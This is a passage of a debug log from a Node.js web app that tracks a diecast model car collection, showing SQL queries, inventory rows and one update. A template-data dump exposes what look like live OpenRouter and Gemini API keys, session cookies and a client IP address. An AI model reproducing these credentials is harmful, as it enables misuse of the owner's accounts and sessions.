2026-02-04T07:04:39.266Z server-connect:output repeat_images: []
2026-02-04T07:04:39.266Z server-connect:output condition: undefined
2026-02-04T07:04:39.552Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:39.553Z server-connect:app Executing action step identify
2026-02-04T07:04:39.553Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:39.553Z server-connect:output identity: 1
2026-02-04T07:04:39.553Z server-connect:app Executing action step restrict
2026-02-04T07:04:39.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:39.553Z server-connect:output restrict: undefined
2026-02-04T07:04:39.553Z server-connect:app Executing action step paged
2026-02-04T07:04:39.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:39.556Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:39.868Z server-connect:router Serving templateView /
2026-02-04T07:04:39.868Z server-connect:app Executing action step identify
2026-02-04T07:04:39.868Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:39.868Z server-connect:output identity: 1
2026-02-04T07:04:39.868Z server-connect:app Executing action step restrict
2026-02-04T07:04:39.868Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:39.869Z server-connect:output restrict: undefined
2026-02-04T07:04:39.869Z server-connect:app Executing action step restrict
2026-02-04T07:04:39.869Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:39.869Z server-connect:output restrict: undefined
2026-02-04T07:04:39.869Z server-connect:router Render template layouts/main
2026-02-04T07:04:39.869Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:43.802Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:43.803Z server-connect:app Executing action step identify
2026-02-04T07:04:43.803Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:43.803Z server-connect:output identity: 1
2026-02-04T07:04:43.803Z server-connect:app Executing action step restrict
2026-02-04T07:04:43.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:43.804Z server-connect:output restrict: undefined
2026-02-04T07:04:43.804Z server-connect:app Executing action step condition
2026-02-04T07:04:43.804Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:43.804Z server-connect:app Executing action step update
2026-02-04T07:04:43.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:43.805Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:43.805Z server-connect:app Executing action step upload
2026-02-04T07:04:43.805Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:43.805Z server-connect:output upload_image: []
2026-02-04T07:04:43.805Z server-connect:app Executing action step repeat
2026-02-04T07:04:43.805Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:43.805Z server-connect:output repeat_images: []
2026-02-04T07:04:43.805Z server-connect:output condition: undefined
2026-02-04T07:04:44.081Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:44.081Z server-connect:app Executing action step identify
2026-02-04T07:04:44.081Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:44.082Z server-connect:output identity: 1
2026-02-04T07:04:44.082Z server-connect:app Executing action step restrict
2026-02-04T07:04:44.082Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:44.082Z server-connect:output restrict: undefined
2026-02-04T07:04:44.082Z server-connect:app Executing action step paged
2026-02-04T07:04:44.082Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:44.085Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
